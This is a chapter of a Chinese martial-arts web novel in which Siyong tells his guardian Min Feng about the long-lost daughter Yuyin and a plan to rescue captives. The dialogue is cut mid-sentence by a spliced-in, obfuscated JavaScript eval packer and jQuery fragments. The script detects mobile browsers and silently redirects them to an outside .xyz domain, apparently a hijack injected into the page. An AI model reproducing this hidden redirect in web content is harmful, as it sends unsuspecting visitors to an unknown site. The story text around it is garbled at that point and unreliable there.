虞音忽想起晨间董嬷嬷训诫丫鬟的情形,朝思鸿浅浅一笑,“思鸿,将脸转过来。”
思鸿略略凑近,“干么?”
虞音伸手捏住他面颊,学着董嬷嬷那般向左一扳,向右一拧,直把思鸿的嘴捏得如鱼儿吐泡似的,她瞧着思鸿这模样,笑的很是开心。
思鸿虽不明所以,但是看见她笑了,便也含笑相问,“这有甚么好看的?为甚么要这样?”
虞音只是看着他,并不答话。
不觉已是丑时末,葫芦里的酒差不多都喝完了。虞音简略的将如府的事情说与思鸿,又道,“这几日正是紧要关头,你别再冒险前来,以免暴露行踪,前功尽弃。”
思鸿应下了,只是觉得又要几日不见虞音,不免心里有些难受。
他回到如府附近的那处居所,收到骤断的来信,是闵云舒送来的,说父亲已自雪诺城归来,盼与他一见。
待到清晨,思鸿便赶回山庄。绕过石阵,远远望见会客厅内已有人相候。
那人见思鸿身影,勉力从椅上起身。他浑身看似绵软无力,却强自支撑着如常人般行走。
思鸿连忙上前搀扶,唤道:“锋三叔。”
两双手紧紧相握,叙说一别半年的情形。
这被思鸿称作锋三叔的,正是闵云舒的父亲闵锋。
当下他见到思鸿,还未说上几句话,便已红了眼睛,思鸿亦热泪盈眶,
“锋三叔近来身子可好些了?”
“腿脚还是老样子,每日服用你送来的补品,倒觉精神尚佳。”闵锋拉着思鸿的手,用力握了握,叹道,“方才见你从门外走来,恍然间好像见到了思大哥。世事无常,转眼已是三十载,回想当年,大家都还在啊…”说罢老泪纵横。
思鸿温言劝道,“锋三叔,您还有我和云舒啊。最艰难的时候,我们都熬过来了。”
闵锋抹了抹眼泪,笑道,“是啊,最艰难的时候都过去了。思鸿,你没辜负思大哥的期望,我这残废老东西,看着也是欣慰。”
思鸿道,“锋三叔切莫这样说,全赖您操持,我倒是未做甚么。”
闵锋摇了摇头,“我们不过是各司其职,你付出的远比我们多。”
正说话间,一人前来禀报。闵锋眼神倏然变得锐利,凝神细听,不住颔首。
待来人说罢,闵锋嘱咐道,“我与少主尚有要事相商,若有消息先记下,稍后我自去寻你。”
那人领命而去。
闵锋转向思鸿,面露喜色,“此次归来,正是要与你交接第二处据点事宜。”他缓缓起身,与思鸿来到一处沙盘前。
但见沙盘之上,以锦绣联居为中心,向西千里已有一处据点。
闵锋在北面千里处又添标记,示意第二处据点已成。
方才的感伤一扫而空,闵锋指着北面道,“雪诺城据点留了秦天、秦佑两兄弟镇守,必是万无一失。西面有无双照看,我此次回来整顿十日,便带人再往南面开辟。”
思鸿忧心他身体,“万万不可如此劳累,十日太短,还未休息好便又要远行。”
闵锋虽已年过半百,且有残疾在身,但行事果决,精气神十足,当下慨然道,“如今玉楼复兴指日可待,我原想回来见见你与云舒便动身。这几日尚需筹备物资,这才耽搁了行程。”
思鸿又道,“若锋三叔觉着体力不支,换我前去也是可以的。”
闵锋摆手笑道,“我不觉得累,你与云舒只管安心留守此处,勤修武艺便是。况且我和手下这些兄弟配合默契,他们尽是我挑选出的精英。想必此次南下,不出半年便成。”
闵锋将思鸿拉至身侧,神色倏然凝重,“上次接到你书信,当真见到她了?”
思鸿“嗯”了一声,点了点头。
“可有把握没认错吗?”闵锋又问。
思鸿回道,“至少有九成无误,只是她自称母亲名唤‘虞怀素’,此事蹊跷。”
闵锋缓缓走去书案前,扶案沉思,似是在回忆往事,而后叹道,“这就对了。”
他转过身来时,眼角已现泪光,“想她当年带着女儿躲避追杀,隐姓埋名,自是不会展露真名啊。”说着便已经哭了出来,又道,“这十八年,不知她们是如何过来的,不知她们母女受了多少苦楚…”
思鸿低声道,“虞前辈她…八年前就已过世。虞姑娘独自一人生活了八年,直到上月她来到凉陵城,我闻琴声方认出她。”
闵锋听后泪如雨下,“如此,思鸿你为何不接她回来?”
思鸿摇了摇头道,“事情没有那么简单。”
他扶闵锋到椅子上,又缓缓道来,“锋三叔,可知我第一次遇见她时,她在做甚么?”
闵锋拭了拭泪,听他道来。
“她正以虞前辈的琴声为饵,诱千川合会现身!”思鸿说道。
闵锋听后大惊,“若如此,你定是隐藏了身份?”
思鸿道,“是啊,我怎敢告诉她实情,她现在还不知道当年伤害虞前辈的人是谁。若是让她知道害她母亲的仇家现在何处,以她的性子,定会冲去和千川合会拼命,到时我们岂能袖手旁观?所以我只能暗中相助,让她徐徐查下去,能拖一时,是一时。”
闵锋面露忧色,叹道,“唉…她果然与她娘一般刚烈。此时切不可对她说明实情,以我们现在的实力,去和千川合会相争,无异于以卵击石。”
思鸿又道,“锋三叔,我有时候想,万不得已之时,我们就和他们摊牌又如何。是死是活,不打了又怎么知道?史上以少胜多,以弱胜强的比比皆是。”
他顿了顿,续道,“我每次见到她,心里像被刀子割一样痛。她母亲对我有救命之恩,我却一直在骗她。”
闵锋道,“思鸿,她何止对你一人有救命之恩?但万万不可意气用事,多少兄弟的身家性命系于你手,你随意的一个决定,可能就是他们的一辈子。”
他怕思鸿做出过激的决定,仍是担心,又道,“我们隐忍这么多年,切不可因小失大。”
思鸿道,“左边是兄弟,右边又何尝不是,又能弃了哪边?”
闵锋又劝道,“还不至到那个地步,就按照你说的,先慢慢来,现在她查到哪里了?”
思鸿看了眼闵锋,迟疑片刻,想到说出来定会惹他忧虑,但又不得不说,“我在和她一起救圣台的人。”
“甚么!”闵锋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499534|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听后猛的一下站起来。
思鸿连忙上前搀扶,却被他缓缓推开,他扶着桌案摇晃欲倒,踉跄数步又靠着墙边站定。
这圣台之事,仿佛让闵锋陷入无尽的回忆当中,他脑海里一些不为人知的事情在掠过,
思鸿上前道,“锋三叔!那里也是我十多年的心结啊!我也无一日不在想着如何将她们救出来,如果要牺牲这么多人的一生,来成全我们的胜利,那还有甚么意义?”
闵锋连连摇头,“思鸿,我想你不会不知道那里是甚么地方。当年他们故意捉拿咱们的人去做苦役,便是疑心你尚在人世,我们忍了十八年,如今你…”他想到此处,气急攻心,剧咳不止。
思鸿轻拍其背,却再度被他推开,“如今这么做,稍有不慎便会全盘皆输,在这最紧要关头,为何偏要去碰最碰不得的地方!?”
他顿了顿,又道,“我们若再发展一段时间,不出十年八年,便能与千川合会分庭抗礼,到那时玉楼才有机会真正的复兴啊!”
他走上前颤巍巍握住思鸿的手,哀求道,“看在这些年兄弟们舍生忘死,看在我多年来苦心经营,对你悉心照料的份上,万万不能再去了。”
思鸿也觉得心中有愧,“锋三叔,你把我养大,就如同我父亲一般,你这么说实在让我为难。”
他见思鸿从来都是言听计从,向来遇到事情都与众人商议,从不自作主张,才能有如今形势。
此刻闵锋心下已想明白几分,“是她叫你做的是不是?”
“也不尽全是。”思鸿扶他来到桌案旁,又道,“开始的十年我们是没有办法救人。后来咱们实力渐长,却又不敢去救。如今我才想明白,此事再不能拖延,我要去试一试。锋三叔您放心,我是经过详密安排的,绝对不会暴漏。”
闵锋听后摇了摇头,叹道,“思鸿,有些事情一旦做了,又如何能隐瞒得了?”
他缓缓走去门前,又道,“若你执意如此,也只能铤而走险一次。我明日便动身出发!只要南面据点一成,他们想再毁了咱,却也没那么容易。”
思鸿走上前,问道,“锋三叔可不可以等我几日?”
闵锋略一沉吟,“你可是要带那孩子来见我?”
思鸿道,“正是,我想等她事情办完,带她来见见您,现在她正在如承岳府中。”
他二人亲如父子,听思鸿如此说,闵锋已然知晓八九成,“莫不是,你要通过如承岳…?”
思鸿点了点头。
闵锋思索片刻,说道,“此计倒也可行,那我便多候几日,正好备齐物资。”
心中不由暗忖,“这孩子性子如她母亲一般冷傲刚强,等她来了我也好试探一番。如果她能想得明白,也不必再让她漂泊江湖。”
又向思鸿问道,“那如府不是清净之地,她如何到里面的?”
思鸿便将劫持秋年之事简略道来。
闵锋听罢,当即让他回到如府附近的居所随时策应。
“锋三叔远道归来,我都没有和你好好吃顿饭。”思鸿歉然道。
闵锋不以为然,摆了摆手,让他速速赶去,“待事了之后,你二人同回庄上,再聚不迟。”